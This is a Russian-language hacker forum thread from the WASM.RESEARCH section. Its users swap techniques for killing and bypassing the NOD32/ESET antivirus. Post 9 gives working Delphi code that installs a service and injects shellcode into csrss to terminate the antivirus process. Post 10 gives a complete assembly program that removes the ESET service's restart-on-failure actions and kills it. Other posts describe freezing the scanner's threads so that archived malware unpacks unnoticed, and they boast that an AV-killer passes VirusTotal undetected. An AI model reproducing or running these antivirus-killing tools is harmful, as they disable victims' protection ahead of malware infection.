Как "выживает" NOD?

Тема в разделе "WASM.RESEARCH", создана пользователем Twister, 20 июл 2007.

  1. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Фишка вот в чем - процесс nod32krn.exe влегкую дает доступ к своей памяти, так что нет проблем программно заморозить все его потоки (предварительно убив второй, гуЁвый процесс) и обойти этот горе-антивирус. Но вот убить этот процесс не выходит - он рождается заново. Я думал драйвер ставит нотифи на создание процесса/выгрузку модуля или, хотя-бы что-то хучит. Ан нет. Ни чего подобного. Как же тогда "воскресает" НОД? И кто его "воскрешает" ?
     
  2. rudik

    rudik Руденко Артём

    Публикаций:
    0
    Регистрация:
    6 дек 2006
    Сообщения:
    302
    Адрес:
    г. Харьков
    Чтобы горе нод задолбить нужно менять в службах "не перезапускатся после ошибки". Но нод тоже не дурак и позволяет такое отключение токо до перезагрузки. Всётаки не случайно этот антивирус считается одним из лучшых.
     
  3. Deyton

    Deyton Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    94
    Убить NOD32 очень легко, легче даже, чем касперского; при том даже переустановка ему потом не поможет :) Я не так давно ради интереса писал небольшую подобную программку, пишется буквально за несколько минут. Самое интересное, что програмка убивает наглухо NOD32, а результат скана на www.virustotal.com следующий:
    .....
    NOD32v2 2409 no virus found
    Kaspersky 4.0.2.24 no virus found
    DrWeb 4.33 2007.07.20 no virus found
    .....
    BitDefender 7.2 BehavesLike:Win32.AV-Killer

    В данном случае эвристик BitDefender себя лучше показал, хотя я и не старался его наколоть, код чистый полносью, без всяких заморочек против эвристика.
     
  4. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Deyton
    Поделишься кодом?

    Я сейчас дошел вот до чего:

    НОД не дает открыть свои потоки с флагами THREAD_SET/GET_CONTEXT даже Администраторам. Только SYSTEM. Я запускаю прогу, которая перезапускает себя под этой учетной записью (игра с SCManager), но вот дописать код, который изменит EIP основной нити на внедренный мной код (а там, возможно StopService или тупо ExitProcess) не успел, пора домой уже. Как допишу (в понедельник) - отпишусь, может что получится.

    Вот тут я бы поспорил. Берем архив, в котором лежит вирь. Начинаем распаковывать - НОД орет. Тогда перед распаковкой замораживаем потоки сервиса (на самом деле нужно заморозить всего один, но я не помню точно какой) ПроцессЕксплорером и заново распаковываем - НОД молчит. Так что обойти его можно даже "ручками"...
     
  5. Deyton

    Deyton Member

    Публикаций:
    0
    Регистрация:
    7 мар 2007
    Сообщения:
    94
    Twister
    Отправил в личку
     
  6. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Deyton
    Спасибо.
     
  7. Mental_Mirror

    Mental_Mirror New Member

    Публикаций:
    0
    Регистрация:
    7 май 2007
    Сообщения:
    431
    Deyton
    Кинь мне тоже в личку, плиз.
     
  8. IceStudent

    IceStudent Active Member

    Публикаций:
    0
    Регистрация:
    2 окт 2003
    Сообщения:
    4.300
    Адрес:
    Ukraine
    Mental_Mirror
    А по ПМ попросить об этом никак, да? Что за привычка писать в форум с такими просьбами.
     
  9. Twister

    Twister New Member

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    720
    Адрес:
    Алматы
    Deyton

    Твои способ действительно рабочий, но... как то не красиво, хотя и работает с любыми привилегиями.
    Продолжая свои исследования я дошел вот до чего - если перезапуститься как служба и внедрить в csrss код, убивающий NOD, то он успешно завершается и не "возрождается" до тех пор, пока... работает наша служба. Может кто поможет объяснить это явление? Я, честно говоря, немного не вкурил... Вот код (Delphi + VCL):
    Код (Text):
    1. function CsrGetProcessId() : DWORD;
    2.      stdcall; external 'ntdll.dll';
    3.  
    4. procedure TForm1.Button1Click(Sender: TObject);
    5. var
    6.   hSCM, hService: DWORD;
    7. begin
    8. hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
    9. hService := CreateService(hSCM, 'KillNOD32', 'KillNOD32', $F01FF, SERVICE_INTERACTIVE_PROCESS or SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, PChar(Application.ExeName), nil, nil, nil, nil, nil);
    10. if hService = 0 then
    11.   hService := OpenService(hSCM, 'KillNOD32', $F01FF);
    12. StartService(hService, 0, 0);
    13. CloseServiceHandle(hSCM);
    14. Application.Terminate;
    15. end;
    16.  
    17. procedure InjectedCode;
    18. asm
    19. push  ecx  //nod32krn.exe handle
    20. call  ebx  //TerminateProcess
    21. xor   eax, eax
    22. push  eax
    23. call  esi  //ExitThread
    24. ret
    25. end;
    26.  
    27. procedure TForm1.FormCreate(Sender: TObject);
    28. var
    29.   h, hThread, NodId, CsrssId, TId, pKernel: DWORD;
    30.   pThread: pointer;
    31.   Context: _CONTEXT;
    32. begin
    33. NodId := GetProcessId('nod32krn.exe');
    34. h := OpenThread (THREAD_GET_CONTEXT or THREAD_SET_CONTEXT, false, SearchProcessThread(NodId));
    35. if h <> 0 then //Запустились как служба
    36.   begin
    37.   CloseHandle(h);
    38.   CsrssId := CsrGetProcessId;
    39.   h := OpenProcess(PROCESS_ALL_ACCESS, false, CsrssId);
    40.   if h <> 0 then
    41.     begin
    42.     pThread := InjectMemory(h, @InjectedCode, SizeOfProc(@InjectedCode));
    43.     hThread := CreateRemoteThread(h, nil, 0, pThread, nil, CREATE_SUSPENDED, TId);
    44.     pKernel := GetModuleHandle('kernel32.dll');
    45.     Context.ContextFlags := CONTEXT_FULL;
    46.     GetThreadContext(hThread, Context);
    47.     Context.Ecx := GetProcessHandleInCsrss(NodId); //Ищем хэндл НОДа в csrss
    48.     Context.Ebx := DWORD(GetProcAddress(pKernel, 'TerminateProcess'));
    49.     Context.Esi := DWORD(GetProcAddress(pKernel, 'ExitThread'));
    50.     SetThreadContext(hThread, Context);
    51.     ResumeThread(hThread);
    52.     CloseHandle(h);
    53.     CloseHandle(hThread);
    54.     end;
    55.   end;
    56. end;
    Сначала я подумал, что НОД не перезапустится до тех пор, пока жив убивший его поток. Добавил цикл задержки со Sleep'ом во внедряемый код. Не помогло - антивирь запустился сразу после завершения нашей службы. С чем это связано?
     
  10. KeSqueer

    KeSqueer Сергей

    Публикаций:
    0
    Регистрация:
    19 июл 2007
    Сообщения:
    1.183
    Адрес:
    Москва
    Подниму ветку. Этот код вроде как убивает nod32 (v3.0.669.0) на xp sp3:
    Код (Text):
    1. format pe gui 4.0
    2. entry  start
    3. include 'win32wxp.inc'
    4.  
    5. SERVICE_CHANGE_CONFIG           equ 2
    6. SERVICE_CONFIG_FAILURE_ACTIONS  equ 2
    7. SC_ACTION_NONE                  equ 0
    8. TH32CS_SNAPPROCESS              equ 2
    9.  
    10. struct  PROCESSENTRY32
    11.         dwSize                  dd ?
    12.         cntUsage                dd ?
    13.         th32ProcessID           dd ?
    14.         th32DefaultHeapID       dd ?
    15.         th32ModuleID            dd ?
    16.         cnthtreads              dd ?
    17.         th32ParentProcessID     dd ?
    18.         pcPriClassBase          dd ?
    19.         dwFlaggs                dd ?
    20.         szExeFile               TCHAR MAX_PATH dup (?)
    21. ends
    22.  
    23. struct  SERVICE_FAILURE_ACTIONS
    24.         dwResetPeriod   dd ?
    25.         lpRebootMsg     dd ?
    26.         lpCommand       dd ?
    27.         cActions        dd ?
    28.         lpsaActions     dd ?
    29. ends
    30.  
    31. struct  SC_ACTION
    32.         Type            dd ?
    33.         Delay           dd ?
    34. ends
    35. section '.bss' data readable writeable
    36.  
    37.         sfa     SERVICE_FAILURE_ACTIONS
    38.         sa      SC_ACTION
    39.         pe32    PROCESSENTRY32
    40.         szProcessFileName       TCHAR MAX_PATH dup (?)
    41.  
    42. section '.text' code readable executable
    43.  
    44. szProcessName                   TCHAR 'ekrn.exe', 0
    45. szServiceName                   TCHAR 'ekrn', 0
    46. SERVICES_ACTIVE_DATABASE        TCHAR 'ServicesActive', 0
    47.  
    48. start:  xor     edi, edi
    49.  
    50.         invoke  OpenSCManager, edi, SERVICES_ACTIVE_DATABASE, SERVICE_CHANGE_CONFIG
    51.         test    eax, eax
    52.         jz      .open_sc_manager_failed
    53.          push    eax
    54.         mov     ebx, [CloseServiceHandle]
    55.         invoke  OpenService, eax, szServiceName, SERVICE_CHANGE_CONFIG
    56.         test    eax, eax
    57.         jz      .open_service_failed
    58.          push    eax
    59.  
    60.         ;and     [sa.Type], edi; SC_ACTION_NONE
    61.         ;and     [sa.Delay], edi
    62.         or      [sfa.cActions], 1
    63.         mov     [sfa.lpsaActions], sa
    64.         invoke  ChangeServiceConfig2, eax, SERVICE_CONFIG_FAILURE_ACTIONS, sfa
    65.          call    ebx
    66.          call    ebx
    67. ;================================
    68.         invoke  CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, edi
    69.         test    eax, eax
    70.         jz      .finish
    71.          push    eax
    72.         mov     esi, eax
    73.         mov     ebx, [CloseHandle]
    74.  
    75.         mov     ebp, pe32
    76.         mov     [ebp+PROCESSENTRY32.dwSize], sizeof.PROCESSENTRY32
    77.         invoke  Process32First, esi, ebp
    78.         test    eax, eax
    79.         jz      .process_not_found
    80.     .find_process:
    81.         invoke  lstrcmp, pe32.szExeFile, szProcessName
    82.         test    eax, eax
    83.         jz      .process_found
    84.         invoke  Process32Next, esi, ebp
    85.         test    eax, eax
    86.         jnz     .find_process
    87.     .process_not_found:
    88.          call    ebx
    89.         jmp     .finish
    90.     .process_found:
    91.          call    ebx
    92.         invoke  OpenProcess, PROCESS_TERMINATE, edi, [ebp+PROCESSENTRY32.th32ProcessID]
    93.         test    eax, eax
    94.         jz      .open_process_failed
    95.          push    eax
    96.         invoke  TerminateProcess, eax, edi
    97.     .open_service_failed:
    98.          call    ebx ; CloseServiceHandle() or CloseHandle()
    99.     .open_process_failed:
    100.     .open_sc_manager_failed:
    101.     .finish:
    102.         invoke  ExitProcess, edi
    103.  
    104. data    import
    105.  
    106.         library advapi32, 'advapi32.dll', \
    107.                 kernel32, 'kernel32.dll'
    108.  
    109.         import  advapi32, \
    110.                 ChangeServiceConfig2A, 'ChangeServiceConfig2A', \
    111.                 ChangeServiceConfig2W, 'ChangeServiceConfig2W', \
    112.                 CloseServiceHandle, 'CloseServiceHandle', \
    113.                 OpenSCManagerA, 'OpenSCManagerA', \
    114.                 OpenSCManagerW, 'OpenSCManagerW', \
    115.                 OpenServiceA, 'OpenServiceA', \
    116.                 OpenServiceW, 'OpenServiceW'
    117.  
    118.  
    119.         import  kernel32, \
    120.                 CloseHandle, 'CloseHandle', \
    121.                 CreateToolhelp32Snapshot, 'CreateToolhelp32Snapshot', \
    122.                 ExitProcess, 'ExitProcess', \
    123.                 lstrcmpA, 'lstrcmpA', \
    124.                 lstrcmpW, 'lstrcmpW', \
    125.                 OpenProcess, 'OpenProcess', \
    126.                 Process32FirstA, 'Process32First', \
    127.                 Process32FirstW, 'Process32FirstW', \
    128.                 Process32NextA, 'Process32Next', \
    129.                 Process32NextW, 'Process32NextW', \
    130.                 TerminateProcess, 'TerminateProcess'
    131.  
    132.         api     ChangeServiceConfig2, \
    133.                 OpenSCManager, \
    134.                 OpenService, \
    135.                 lstrcmp, \
    136.                 Process32First, \
    137.                 Process32Next
    138. end     data
    PS
    Просьба потестить. По возможность на висте
    PPS
    Странно, работает только под отладчиком... Хз какие привилегии может ставить надо..
     
  11. KeSqueer

    KeSqueer Сергей

    Публикаций:
    0
    Регистрация:
    19 июл 2007
    Сообщения:
    1.183
    Адрес:
    Москва
    Ну, да. Привилегий не хватало. Это работает (под админом, см. аттач).

    ЗЫ
    Для многих этот код покажется баяном и очень веселящим, но каждый наверное проходит этот этап, и данный код рассчитан именно на них :)
     
  12. Diakon

    Diakon New Member

    Публикаций:
    0
    Регистрация:
    26 июн 2008
    Сообщения:
    27
    Может об это уже говорили. Но я для того чтоб крякнуть НоД убил его вручную. Через msconfig выключил Eset Servise в службах и через мониторинг процессов выключил процесс еkrn.

    Подскажите как можно программно выключить службу
     
  13. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    sc.exe
    и доки Four-F
     
  14. KeSqueer

    KeSqueer Сергей

    Публикаций:
    0
    Регистрация:
    19 июл 2007
    Сообщения:
    1.183
    Адрес:
    Москва
    Diakon
    Иногда полезно почитать ветку до конца. В #11 это осуществлено.